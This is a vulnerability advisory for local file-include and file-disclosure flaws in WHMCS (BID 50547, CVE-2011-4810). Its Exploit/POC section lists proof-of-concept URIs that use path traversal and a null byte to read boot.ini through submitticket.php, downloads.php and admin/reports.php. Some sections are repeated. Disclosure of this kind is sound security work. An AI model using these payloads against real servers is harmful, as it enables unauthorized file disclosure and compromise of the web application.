WHMCS Local File Include And Local File Disclosure Vulnerabilities
BID:50547
Info
WHMCS Local File Include And Local File Disclosure Vulnerabilities
| Bugtraq ID: | 50547 |
| Class: | Input Validation Error |
| CVE: |
CVE-2011-4810 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 07 2011 12:00AM |
| Updated: | Dec 15 2011 07:38PM |
| Credit: | ZxH-Labs |
| Vulnerable: |
WHMCS WHMCS 3.7.1 WHMCS WHMCS 4.2 WHMCS WHMCS 0 |
| Not Vulnerable: | |
Discussion
WHMCS Local File Include And Local File Disclosure Vulnerabilities
WHMCS is prone to a local file-include vulnerability and multiple local file-disclosure vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information from local files and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
WHMCS is prone to a local file-include vulnerability and multiple local file-disclosure vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information from local files and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and computer; other attacks are also possible.
Exploit / POC
WHMCS Local File Include And Local File Disclosure Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/submitticket.php?step=b0x&templatefile=../../../../../../../../../boot.ini%00
http://www.example.com/downloads.php?action=b0x&templatefile=../../../../../../../../../boot.ini%00
http://www.example.com/admin/reports.php?report=../../../../../../../boot.ini%00
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/submitticket.php?step=b0x&templatefile=../../../../../../../../../boot.ini%00
http://www.example.com/downloads.php?action=b0x&templatefile=../../../../../../../../../boot.ini%00
http://www.example.com/admin/reports.php?report=../../../../../../../boot.ini%00
Solution / Fix
WHMCS Local File Include And Local File Disclosure Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WHMCS Local File Include And Local File Disclosure Vulnerabilities
References:
References:
- WHMCompleteSolution Homepage (Whmcs)